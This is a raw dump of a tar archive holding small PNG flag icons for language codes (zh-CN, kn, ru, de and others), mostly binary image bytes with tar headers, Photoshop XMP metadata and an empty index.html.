��;�|{w�;3��ξst�3͹ɓF���7�o޼�%"�h�X�P����~�"ȝ��â�U�]����c>��J��}s}�{a �i+��&�D!H��@��~h��9t��O[���s�MLd��X_�1I>�q�zS�1Hˀ=�"-#����=C��u�4��瓈m�b	M�Z��h-�S����S�;\ �Zc�kتE�I�S9�2�R�d%����<P���b������m���� ՞ʅ�o|�"��'g70�揫�dny|����U��!`/��]��c����U�W�=Cy�d�L��36��p�@iKq���*��.��y^y_��v��<	"� Qǻf�B>��c�M�su��U�V�&$&b�4�V!�g���D^��-T��0�*́YKQ��r#KJ�yjf�J-�ϋ�ã����Շ����P(D��Ġ��@®��<*�*.MP
��3�2�0Af���>��4k+����Q��QP�q�\g�p�{��N�Kq}�b9���I�?wk5�ܘ�)F�!s�c�^��<$.iѱ8Ӝ����>{���,#�*S�e��<÷�g8q��N֪���ڵ��4��������wX\����؈s�3!��'�>Ӫ��_��HE)�
�^>�,�"A�G� L���X����"0[)�z��񗶹g�Q*�"Ѻ-HP��8���'X���o*a
d$ ��v�J�*מ��&��B�7�'!A��^��2r���@�mk����'#��4x�o��µ��4�L�o��}VJ��QT�VS�0���7��&�6����Uw�G
����
�IEND�B`�lang/32/zh-CN.png000064400000001431151721413470007342 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엻nQ�������c��h�@�D
�t�(��1(��Aހ�FTQ ��"A`'���Ι�X_֖M��4�fw���3��f��q�p�v�!P<�4$����aӅ���jF�0�������~u9.p��n��6��mO�>]���o��������öt��-�2|3�}f��p�<���iP��z}���Q_Wd7�7H�Uce+��)B~�`�)��M?���g�L�]`u+�`�
���}P�%hߝ.�K�ec��q���6+�3,u\y�}W!~[E�~Y������V��NJx)�vO��h���<F�t�#?��Sf��$�Lи��z�%�?���8�z2&pͨ�I��DX�t����E
2�C�G��4_�[�@���i>�
4�
zFa����u�+f�D�NK�a�t`�R��Y-ׁa;
Z
���}�HV�!�*�h�w8�6,���I-K!')�8��d{�*�z}��T���<�mjm�5�Q��pj����y�fst����M0+d���
] "T̰���(�ؙ�A_�F^ℬ��3�W?���I��I�lAD���9���)�����RG�A�y\n%�忁�n�OP<˴h������o�w��<�IEND�B`�lang/32/kn.png000064400000001275151721413470007041 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FCIDATx���kA���l������Rmmk�b�X��RD��o�?K�T��M�"��x?9k?*�k��1�ٝ��CbE��8�������3�~�;JD�:�]d�\��)4B���x��~�W*����	�C3~���%@!rX:A�* m֡��j�_���~jO��k!:��|�5�4�q��Ll�3�$u$�<L�X�4jHR��:��	Yq��k��b���s;E5��٫��{�����?yǑ�"g���*���w^p�$ߢ�J��Ź	����^�Q*v2Ayy��͈$��}�J�snf�����ט?;�d�h��M=J��S� j��&p)J���s��[NN��=1ąӣ̝�փ7LO��z�s:�u1?;ƕ�e���)�vs�����0���J���f���
���T�vKZ��f�a8~u�$��䬧nݻ2Y��Q�̄��0@�S�*��mk-��/�����Nh�A)��X�VP�#P��o��J)���z���
`D��f�U�Q�p�<�:��Zw�|����U�^N;
�}m�1@@�IEND�B`�lang/32/lb.png000064400000000725151721413470007025 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F[IDATx��1N�@E߬�	�HH�@CG��W�܂K�D驐	Jb;�
��rL�i�Z�5O;�v��h3-G @���3("0x���̹��O�'J�޸�/Gc�a��
eI�LY�RDؖ��l����ya8���G*�9��}�`{��c�W^^�� �V�<'����&�b����ԷH�P%Mg��&P�k�0�Q+&$r�Yqv���� �������)������R%f�O+D�j�l�DD�A��BU�!LM����^���!4A8�E?�����ɇwT�3�
8u&x^�~׫g��t�Ӷ�/4����IEND�B`�lang/32/es-mx.png000064400000001745151721413470007464 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FkIDATx���oE��^ǎ�ZR\��JU���RK�*�J�	 q�3�\�'�q��r�_$�Z���+ڦ`��͇��~μv]o��6"r.}�W��ݙy�y���%"�Y�=���K�Q�|(�q郵�5��O_y��W�|{�-�>�x�
�-�X8t2!@R����¹��7n�m ����M��k�ܮ6v���DV��>@����E>~�Jp����|56@d4^�������l�Mu&A�l$
�����
�]a����Lmg��8���|���g�3x`t�&�	=�C2�F���pw��]����9ř��#_�S�n�� i�
�B=h;v��u�?���[�Q���b������!V>�q"�T���A�����D/�(�]~��:��2�g�ce�k�򆬆�?�Hu��Ͽ��:c *� -��h��%4Q_�ּ��{�*˷��Z���…�ܾ~��V���*���0�L�@��w��?��XS4�uf��0{j�j�'n��93g^�|p���o8���@6K�XL�Pk�L:�{+"Pߏ{T�+��?���f_~7p��1���F��/�Z��4��Jb��`0�8=}1;�<�f���Y��^����-}Kf�,k�B<�O�1�ˎ�� a
@�
���D��ɹ���w��1N�8�}�05q����e�)�p$Lg�����`�U
��|�V��8s��E�'�v�ǹZ-DQz/�۶���&KG������
��ص��H�qV@�#3�:	� z{����NA)Eal|w�څ��]4	�
h���9p���P�[�!t�$T�y���u�J�Ť��@K=���5�;���+�IEND�B`�lang/32/fr-qc.png000064400000004340151721413470007435 0ustar00�PNG


IHDR  szz�tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:daa7e814-015c-11dc-8ce8-c9a927124c2c" xmpMM:DocumentID="xmp.did:5D236AB571BE11E2BDE8ADFC4C407057" xmpMM:InstanceID="xmp.iid:5D236AB471BE11E2BDE8ADFC4C407057" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4D4ED459379DE01197678DC80A35758B" stRef:documentID="adobe:docid:photoshop:daa7e814-015c-11dc-8ce8-c9a927124c2c"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>*@��IDATx��W[hU�f'��f��M�4״�5/X��J�$X�F�R((��f}ӂ��
>��C/Շz�^�hi�PA��HLM��\6������?gfwg'ۗ���ٝ�������3
��)1l���������La�V]2�G>+�1�nj�Ĕ�$��NC�f�4D����W��U���mq M����h��O�w	1%�}��40ۙDzK�׊@�'���*6�m;2(�b�k���@��\� �2��P,Y�LYZ���a�;��<�%�8�2@G7z|�z~D6-�l���Fp��i\��z��)��L�㈑		��a�0,抎[��a�?��%
w>��K����1�y���&�Bi�M��z ��iv�uȘFA�Ű��B�t�t��;��"����
x|t'��U���y
��E��`��>\�ZAn�녾X��16��&���P!�&�.��^@��0�����O�,Nu`8��G�@ل�s%�r�,^~�!|51�OO]:[ea�-��3�A�hB�������_�](!���;)�T�����]�C�"�4_©3Wpyz
�n�����˴��Q�m覟$ZP�)b�t���(�T�|�L\�ń�g�)��ʀ�2
`ɓ� <(k^;����2`���ȟy��j�f�T*]ڌ6��d�Z6Jg3��1�w�&J�Kc��<��31�����_�����I5��+�F�":�F|�*zol�tw\_�e�;ԅ�O
�/k�[��D<҆����8�C�"��%bVmb.�u.e@P�G,�Q�����3܍�Ϗ�+V�Q��K;��(��s1��C����1r�VS�LIs9e���D�9��?�O���s�x���б=N#큮�@�Ɖ�Sے8~b�gq`�NS�v1cnw�#q��dA��MI�^"))Q/.Z��Qa���N�=Љ�UYzJ	>1h1�^��ϥq�Q.�x��A��BI,�IL��]�3�X̗������Cx�����;�]=AZѱ8�
D���*���n���cf��T6�a�~�t,~K߰$�]r%��ߞ�B)��65�Cl���߃V)5�K^�|~��խg������)�˯�(3BT���KziO��0��+�7A:�7S,�����f�G��6�7\���IEND�B`�lang/32/ru.png000064400000000747151721413470007062 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FmIDATx��N�0�?g0�BH<7�<G^�'ހ�@�eMlsXG�1&&��2_�����N����ti��m @�cNS`Z����׋�`�aF�NW6؝�@p}s���>ӔeуA��{�D3�e��t1��V5W�i=[��9U� %cRF>ka~K��"Ӓ���f�XU[���D���mU
�2�ƤLD���F��6��nX&q�nD�V	��fy\�ۛ�N �8,f��>�O��Մ/�W���{D	\�L�
�t����'WMMLm��2*d�O\�u&�?6�-I!�Z�A7ے�(f-r��0�+�7j��-�5\�6���2K�'�QjQzԁ8�c��v
�5����g���IEND�B`�lang/32/st.png000064400000003271151721413470007055 0ustar00�PNG


IHDR  szz�tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:daa7e814-015c-11dc-8ce8-c9a927124c2c" xmpMM:DocumentID="xmp.did:5E15664E909B11E0A855C93F5BA181F6" xmpMM:InstanceID="xmp.iid:5E15664D909B11E0A855C93F5BA181F6" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:73BB28C38B90E0118CC8CC8C2C94B540" stRef:documentID="adobe:docid:photoshop:daa7e814-015c-11dc-8ce8-c9a927124c2c"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�(�xIDATx��W�nA���Dt���A�Tt������������5R�4Ic
j*�H@�*��J�1�ev9����A�u�a��ݙ�v~�H)�!)L����F�đ}2Տ�~Y��È���_���l,F��Q?ƿՐU��X�.������G��_})�C��S�u�V���B��u 7�r�8�KeH��\��`�!�1XR��e�s
s���n���u&y�k�?$'n�6p�-a� �2ʷL�f3��=�>*|@�)�<�U$�R�p��G���1$�����fK���O1��=;�Js�O�X|��ih�B��7���L.�R
���%�
��73h4�t��^O�;����Q�uݡ�pi0@�V�O�r*�v*�Jd*K:�S
2!����F#h6���� �NkAqۆV��T
��r$97���-��|x�..\�K���^�G��ͩt�M����n`��d„�����,̏�`�J9Gf'aF���AC�@`:%�;*�=��C$:S&@5��TL$�����lu>�!;�b����jj�)������c������h�|�)y|9}h&��-J�IEND�B`�lang/32/ja.png000064400000001301151721413470007011 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FGIDATx���kA�?��d�����$zQ[$�"�
���P��A�"�'{����E"�xT���A�B���*TR ��	l�M6ݝ�T�b�Tb��/��̛��f�(!JXD�

�N��N��o)F�R�,�+�tYu���y��J��Xd�[���c���b��O ����e���P(@!��z��#14��2̋�K��թi��/a���"h|�O�!}�i+|��׋��B��xe�x���{[��_N��V��ԗJ���I���=T�n��w�ϞI���o$�HX.R�y��oOk��2�^��L˄Ż�[G@{�TB�0$��rټE�Ԛ��#���f\�����&i%�٬+���p���MF�� 5|���ֺY���}���B�@��5��+fyO3@bW�����" �W��@\zΝ'}�X�05왯T*b��䔼ٶS
*!s*-s�S
*!�zr�޺cl��<��r� �gg�<��{��}:F��:<����Y����n��+@�Z��Š$��q�L�B�5�R���N�
����m��\՛���SXP�Ө	���ߵ���IEND�B`�lang/32/no.png000064400000001347151721413470007045 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FmIDATx��?kA���3&9$J�
bag#B@��"_���g�l�i��J�,-,bi*�<��۽ݙy�b�ݽ�{����53��潙7o��r�p�r`�`�h�)HC`���׿�q�g����~���3��p�����a�O��l<Z/���7I��
��E���)rx���1y[����r����:���q�czA��X�����Ѩ�:�\��4=��u4B���H� I�h��*�6�F�t���Ρq��L:Ll��4��:�G�[�j��F@��k�Ǎ�Q\�,�P���J48y�HU�ƶ��c���k��ؚ־}��|g%�ڗ�!���w(��Tv77�δn�A��<�8�:a�	z˗�����ƘV���7y>��zfU%�{!�Ν��4E�;�`}o�*��Z�u��wB�ۭB�#Ti����,�Gl-�u(��L�5����x�tok�P���p��6��IN,���'�AޏH^��U�3V�⥪	�H��ϥ4��D3GS�_C�=,-5._�TU5-��!�
�Џ�
V�}��C��~��4O2�
�
<�͹,?~��O�\��������[�;^Y�IEND�B`�lang/32/zu.png000064400000002510151721413470007060 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��klTE�3��.�}A��Q���
��EBRTH(�h��D��G|�h$�PK�р0�"_0
P�P(D*�>��ݽ;��a��.M���p��{g�3�9�?g�cwS$wY��R�;)��@�̷K[-�;~�V-�`R}3-U[�n�o�}/Q�?�򤴘1�$
����Gp��0e�6��qn�����g���@���8ʡ=ҁ1`4{~��s�Lf���Ȫ>L�T-�C��q�����mz��!��Il�'�4��8q'�3m�u�h���E��7��}��T������,���FI}��|]��������WZ��"�w�\�v� d^.��"#�-������/+�s�wQ����5�B�ܔ'���/4�$S��r����rA�[R!$���M
�o������eg�3<��g\.�(/'PZ���E�q��s����G_Z�p;���Z��aT�?4�QNO<tg;�������~�ȑD�Q�J����4T~�}<�8��gŢ
J��}s�љ�Lۂ���S�(�0aB}~~>�X�qc�޷�9��_
.5�KPx.Xvo0t�2�B���ĝ8�U?�I�)��0��Pw�﮲����;�t��B�J$�B�O�'m�롼D�����ىR��6
��jKvl�S<�|��i������e�PJ�D2X
$Q��&ɍ�F��Y>��2=�.���+�^�#{�E����.�R���F���z�c����h�Y���C6�;$ӗy��{�F��Q��M�<��CVP��G6��ڬ��݇�$�N[B,ΠP��\O��i�Ò0�ڡb�L�
��c\���‫�\,�|��k�Ŵ嚦�@�ɌeD�&SUQ���s�����(ҒEFFl��$ෑR�n�+e��v��̨�Ԭ�!�6�WU�Q>�Un�a��fʗ~E{G���e���DZ�T e��et*Q��WJ�l�=�%�&o"Z,NNn���D���,|a�O4��D���:�O�'Wk�Q �&K�!�`�cө\Yɩ���K>#����G�N�Ҧ��K� x�ռ6������_��

���d0� � '��J�qF?��+>fP��,^���-�5x�J�t:���<ɬ�3�P��w]es�F���6�3�U��0������7��䤞wR�Sܻ��m����o�ZIEND�B`�lang/32/de.png000064400000001132151721413470007011 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��Kn�0���d{��H�"��A/a����@�Sh
K-�1]����"@�MfC��#��p(��=�pg{�V��ihK�q��(���c��v�K`m�a��d���Xy�iۖ�ဦs����Hj���a/M�r�Iu2�<=�i�`U���r:������9J��Z��Y��%]��{꺦i�,EQ�TUu�@����@���Ed�_�����&�	>�����U���
��ҧ> �o�x�u�P��#zv����:N���$Ӻq)�7ЀzU�&���-�,{�#�
�X,(֏=@��B�tB7<�U4�UԻ�D2�z�[	��k`���U2{Ռ���6��o:�墁R>��z#��-���;�a��1@��hB���s�P����y^}˼:�I�g/�`2�^BT�y���i� �3���9-�|��&x�ʜ���=N�
�k+��[/IEND�B`�lang/32/id.png000064400000000752151721413470007024 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FpIDATx�엿N�@�?����JH���@����T�LHT�I�\�l�6M���֋#����vtbf�i	=�	@�0�}L@����oD�/����U
�%I�xz���M>�)0��9�gF3�"@wLEdC�k���vu�x����-�(W�}��<s ��+J�<)��Zq�~���[��r%��	�!����`�[hU�y�-�Q�+�9�>��sl���U�����n��X��=�eXY���؈t�:q�m���i�{��&y�UU��ԛW�;3���#�Ovm�(�P����y�!�T���x{��1lR �*�鴏=����E�ޥ�\�>���\N�Ӿ~P_�M*'��IEND�B`�lang/32/gu.png000064400000001275151721413470007044 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FCIDATx���kA���l������Rmmk�b�X��RD��o�?K�T��M�"��x?9k?*�k��1�ٝ��CbE��8�������3�~�;JD�:�]d�\��)4B���x��~�W*����	�C3~���%@!rX:A�* m֡��j�_���~jO��k!:��|�5�4�q��Ll�3�$u$�<L�X�4jHR��:��	Yq��k��b���s;E5��٫��{�����?yǑ�"g���*���w^p�$ߢ�J��Ź	����^�Q*v2Ayy��͈$��}�J�snf�����ט?;�d�h��M=J��S� j��&p)J���s��[NN��=1ąӣ̝�փ7LO��z�s:�u1?;ƕ�e���)�vs�����0���J���f���
���T�vKZ��f�a8~u�$��䬧nݻ2Y��Q�̄��0@�S�*��mk-��/�����Nh�A)��X�VP�#P��o��J)���z���
`D��f�U�Q�p�<�:��Zw�|����U�^N;
�}m�1@@�IEND�B`�lang/32/so.png000064400000001475151721413470007054 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��?LQ�oo�SA��VƄ���1�R;5������WK+;�4je�1��P�h�H�@@@8nw��X��ǡ{�9&ټ�7��f��<gfl�l��p@	�N�N�Q��z�f޹S�7�������ç��fWzC�[�HĨ�=��v4(�&m���֛u��U+!�(@w�j$��x�@n5h�#6�e��6�Dm��by%��㻻CԌ�X��+�/�J�qҞ���
��+q{�g@�'JOb[�,#�{���3�ێUI��(�H��` p�#C=�^x>�sjK���B���Gp��D9,!�p�o=��0�C�UfV1 ,x/�c��,����"O�p֊��UK\9=���}�A��p\�pt}�ӷ��B=��s���MY�ƀ׭Ks=^���IΝ��і~}��/�M��a���e�R�e�����L�.s��Xn����<_8��0@�Ђ�Io��r���S�o��2+��?5L�{O&���#^��'�
��U�@@��l�D��&�9W���2�/�qh��F���M "^pA@c���R-٨l3+�KW9,dì�y9�%kYٚ��\��Z���X8�'>�8:� /� :���n4��t�%s,����չ�Tm�`����vt��A�0����]�&؛�����v��
������[P�IEND�B`�lang/32/index.html000064400000000054151721413470007712 0ustar00<html><body bgcolor="#FFFFFF"></body></html>lang/32/fi.png000064400000001013151721413470007015 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��;N�@��%k� HD$�ABt44�8�@�4�܂p��C""�{�A�'!���v�߬5k?���+�=Uj��������e����Ϭ�˫�����o�T[�U�݋NQ.�tb�^�(�jr�m�<YQl
����Z��r��Z�pX�'練�w��]�|�&c*~ֽ�V���_�|���)�K?��� �RS,BeM��$W�!�N�q�����-�8v�J9 ��p��- j�����0�c]9͉��XRK ��Ǖ���:"��o�Np���� �1Ap��s���2XO�9s�Wkm~�":�ɜ[i�25�ʁ"t��v�X��^o�i~-IJ��~��#�8(y>�g�4�{y��
+B��sZ5�����w�IEND�B`�lang/32/ko.png000064400000002521151721413470007035 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��[LSw�?��=\� ��HH�eY�%Y���DV�%��$�is�{‡eN���3��,^�1^�"FL6����B�ˆ�a^Bm�����T�b&/~_��~������,'4,3^	�- O>_& �V	!����2��H$x�(I$���Ln���aN�8��Ǐ�F�K&����q��q�&/�W�\A�e.5]����Ϸhr��Ogg'�O�&33�˗//-
���x��!����\.ג�B!���1�LSXXHgg�su�;"��ϟg���x�^


����n�'稁Q��Do/��ł\bG��@~~>v����T����|\�z��Lnn�0�
!<S.������EEEܹs���c?_g����h&7PUѬ\Izu5����'O"I���BNN;v�@���((�sl۶
��ĭ[����yF~�:��_�
%�QՉקO9z��ŋI[eee������GII	���I�w`
###���QUU5�5�aw�D	�v�ɥ-*BQ��d�46�3�hii�f�a�X��E
��'�ZQ�֡MO�Z�����yti���([�]��!��>^L"*�-ֳ�`��Z�1�u�"�y#�Io��	�n�޻�a�v-�3����F>�� ��z5o�"8ʄ,h�嗸B�R!�8�ll���~��􅼮�v-��U�@��0�qFm��I<��5��1<<̱cǒ�w7b1grI��˔�4�(JF��
TU�+�Rx�jCrݩS�x�����:c��͛�۷��g�r��9�z��Dģ
�Wc��
�*�	���({?}�<K���9|�o����)�X,���466r��
|>v���I{{;���\���=_9x��c��4>����v�%I���	n߾��j�l6S__�$I���#��DF"OJJJ2���SYY��h����G������xc�����GQU�������7=��uuu�F����̙38��d>�D"���M�Þ����▖���q8x�^�^/���g����쎎jkkٴi�,S\\LAA�cF�7�XQ������n���ؽ{76�m���h4r����	�B�\����l�A�u�Vq��]
��R�ń�����g^����5��ŋb!~�_V���J x���<�H@.P�yɗ��?��K�ʅ.��#b�����t��;���{���IEND�B`�lang/32/ka.png000064400000001544151721413470007023 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��KkY���:�N觏GAPL�W#D?�K�.|1�aV�q�"�|����/��(NĘ���N�ˮtu��ݙ���t��1�p������p�SJD�MX�2�P�
�w�o	
P�zZ��_@���`�����W���Q�g��!aVnb�(�n���Sw�߹�����Ո�U�j][e ���xb�:���qԹߺ�"�6�� ̱2��Iz�=xD��5h�?��1~�8ś7�H�!5v����#���s��z�Io��_c��w����[cZ-������X��I�,�g� 7���O2�[��>�F�ب�"�&m�.�;���إ
��9�1�qF�"^i��`��4�X�:��e{�Y�s�U��i�X�9�w(�D��#X��(JYœ��a��s
"�n��J�@&�],l
�c�}��wo�뉂`X�y����)�ȧ�XV�/�B�f��dC���ՕT����N0Ƥ?B�
F��Q�Lj�
�D�K�?x�hq)9��F�t�։k���V�i4�0D//#a�i4��Hhl�q��D���0�3��a�4�Kד�-���s��<�E\�K�׼�eB�O����Y��]��̓�y����p�a��	0��\F��Q��V��UL�4
���i�uߔJ�T�B7��T�qx�U*{�u�T*3��1����`�C7���L�BJ���V��,����+�K�mJ�������/��U�gIEND�B`�lang/32/bn.png000064400000001746151721413470007033 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FlIDATx��A�E�U��dw&Yw݀IV�CPB�oϹx=~	/O�$���ɋ��xQ#����D��*���LW�{�g�'3�f/y�uuW��W���zmT���1�cp@��Ӕt����w�vf��[c���hXcy���S���@#jA"ݐ�O��(�E�VaM�)�cڻ�ޙ���zjv�n��@D�|�NȏD��*gZ��b�uCsް[3�>�9^"	��H�;d�3v��r�)��'ų���u��3����@<��b
!ZyF{�7�G^�MPb@*�V��?��g,��rg��A��s@;�q���ڌ\�Q���W~�47�ZK�s_
y̫;���[���x~Wy�@g�v�k��F�ϧ�
���
#i���w:.f�
�j���dL�����.:�������9�%��m�%�A/oGֶ�A�s�a�^��<k���r�sŬ��%�c��@"i�/~�����m�@�M"8�ci��<̐8[
���g}T}������%��c7��3.�q��A�D\��I%��!�@r[
;���}8<�}�*�2��<
w�$�d����C�z���2� �8��Y��K��h���M��K�s:@��G�"IuH�.�{W'rEEQ�R����r��%���ѾzZ,Zs��at�}�jid������P>X��~��~�
���� /�q�0�B�y�����܋\َ��OF{�,[>~�q�e"�h1g��`��i�����e��g-+iq"�Z7l,���ib�A�����E�Ѳ3g�t���`�
Q������J2����{锋b�2�����)#�����󥝦t��<�9=n��7I¹D�VIEND�B`�lang/32/zh-TW.png000064400000001546151721413500007375 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��KoG�=3�ɚM�,1��E� �)�#_*�|��rM�HQr�D H�@���m�e�γ��r��g�d����L����U���6��A��n���y����W��a=��TV�[�:��
�0���<�k>@T�`0��f�F;s��S���{`��JY
�[%J-���>�)'����Y‘�gYZI0ư-]��o�xM`��ܖ�1�3PZ�8����Q0\��3���o�s���
��<^��{�1�e���kQ��X/d�#/�(竳����$sq��y��kO�Մ1���C��wB�U���c}Μ2���ka��!�#.|��[�,�$�j��(��$-Is���\ϸt���Ľ��Z�oן���NK�ZU�8!I-Yn	������J/
��
�*ϵ���3�+	�&���8w�QE^�n��U>�x������,9č�+�L��(���������ؖ�FiEQ���x���T�'/O�m�hi�J�N�����o�C�9`��d�6�"�����n3�B��0h~Y��f`�T}���q����!��V�9�
��Q����9"��<����X��������-�������wF;֞Kڛ����OH}��,�5�"{/&�KDZ�����jj큠��.�x6��N���l�8|
,t|,	�1�;���ﲕ@b�]N��k?�;�rIEND�B`�lang/32/lv.png000064400000001026151721413500007036 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��N1����DB
H��^���G!��*`A�Ş��d�	z�����k{��3��3�&�#"0/mMS�o�����?��/!������WWU<��,`�9�}Oz|ķ��|�8����/���aL��+�g�K���
���]���u���)0Hi�uuBo6���F�3���ZG�1b9�h[� ��7�u�]<g��s5�+�=0��m�i�Ͱ"B����IҰ��e�(J�l~�V�z������� g%���&b�	������n�b�ip.����g����ϩ�@s&ƈ�U�@�f@U!F�(F/3CDj& ��=p��:���Ĥ�b1IP�ڶn"*ő��`U9>wR���ִh�8���'l܎���
IEND�B`�lang/32/bg.png000064400000000743151721413500007012 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FiIDATx��KN�0��q�V�-�*!�
�p	��%�	��9H-}��̰Hچ>`�p6�7Q������=w�MZ�@�Я�9�@Y�����E&���q��oK��.8�O�&,R�eҋ��t��$Sfq�*��@n��|����8*���#1���M�$��*s]-���O|U��pe�Ě��
F�� ���wo���}�H^����R311���2�%���t�!Do���^��x~|�뎯�lC�!p����(*�<����3�y�IV����H��Ed���2�(*�+�0fL�o�>�Ӭ�p]m*�5p\enހW���Q�i	��s�6��x���V�UQIEND�B`�lang/32/fr.png000064400000001175151721413500007031 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��;��@��v{4;;	��p2V�r�M�7 �{�MH������G�a�b���L���e��뿪��JD8�e����e�<�y����;��Ÿ��0k�o����^���g9�β���Wɶv��d���+�:����l�5�%6���~���)����O/��,s�M�Ѷ6�Қ�E���s�����4��v��b]�g�3TU�&��z���7�eCU�{��@�P
1�P��h�) "2��S��@�8N��GNj��aQ�c�)Q�H�C[�#�w�����X뒸 T�xth=T`���֧9w�q���^
��9��D�I��'&�kc"Bi$����j��yDH��`�S��IV�0<H���c@�:�"���R
g�T�C�<�3��+���J)NfJ�8���r� �P�VOҔګ��B�x�����f3`[�aҧ$�^�O\�����N�꟧4���rzn���c6Հ	ûIEND�B`�lang/32/el.png000064400000001407151721413500007020 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���kQ���KӈI�P�R��PAEE\U�K�7Et��N�MAW��TV��t��
�P(��5m'���>�&c�j��t�a��˻g�9���g?C��q@�O�݌�
P����b��w_���D�5��^)&�G�P�J1zz�i�Ѻ�:�k����e�����KX�,O����r�=�ͽk�:Jn�b���@"�PqI�抓k�7��}���
`Od"�`�ZT�|Y;JhE����a�k�����J)b�p���.L֬�Ro���
&�^?c��Z���Z��u�&�Q�A�Ň�9^.�^m:}���SM�4v�c:lj@�0�-5�E���c8w��^�PX�X������`��b��Kʴ�A�M;+���2N<a�aE�^`�:�&fjM���i�	T@"��갉�r��y)����[i@�)r
�~[���0��
�\����>���YR�
���hm��Zu�qr�"�`��4^-]��F���}���M� ʷG�vkj�9̦�T�o>�+툂�F��un������Q��bWE��/?�S*�p�7�	�?�������f(��ݭ��r@BNFkݝ�s@���<���|���o�bz�f�@�>N�����5#k�IEND�B`�lang/32/ro.png000064400000001243151721413500007036 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F)IDATx��M��0�N2���TBB�`��8'���ps>���4M�ﱘ�u:�ڋ��ol5~�/��ˋQU�r��0@	L���#����|QV&�ӗ�;��p����ŷ�O+`V��w�_����Y��<L����f0�A�6p���!/�Q��ɯa�Q��8�~<�׌ٮ�b6�&������	n���vE�z�zw%*�J�y�.�m����� }཰\9��%"�<ZU�}���4m�N;{=!��m
h��
��5R��
�Fg������:���e&����Np�`�X���V[���Zk�����G���<::^�W�$?���!�MrP�����E^����
˳i삀B�Ts"y�I�q~|TARz;Fe\	�=����K��@�&Sp��E�Q���S���UI�
��nz�
��SP�C��V���G	��	E�n-�ύ�A$P�	LP��eL�<HDN�Z��tO(��ԋ�ɠ�|�0��j�$�9�
xv�����a>�@m�?N�����D1CA��IEND�B`�lang/32/ca.png000064400000001157151721413500007005 0ustar00�PNG


IHDR  szz�tEXtSoftwareAdobe ImageReadyq�e<IDATx��W=o�@����	E'*:Z��H Q����Ҁ�QЁi�H�r������aˊ#"�\���^����7of�콧]ZD;���ys�4/\�����X��x�� �'F$�#����'/FT<�$���'��$h��q

���S�>�a�$֑����XV��L=���߁d���Ȝ�jx���~��1y�Z�>SzW���Bv���5ī%��|lY�f/�E]�U�|_���s�9��
�
��@��Q]���X�6��2��ٸ~�m�S�T�8m8c(�X�	œ��ޠ�u�4i���-b(b�NjR�H����O�H��Oy��g)I��zA
�z�&�f�i�
�Pc;���)��p����6%�v���N(
h�N�`�9i��tB���8�)ţ��R�j��=���7C�eŵ�y��&SWG�{Uu�����@X������$����ꑰ�0p���o+����s�O0i�T�䛟�]�-��LӪB�ǾIEND�B`�lang/32/sn.png000064400000002007151721413500007035 0ustar00�PNG


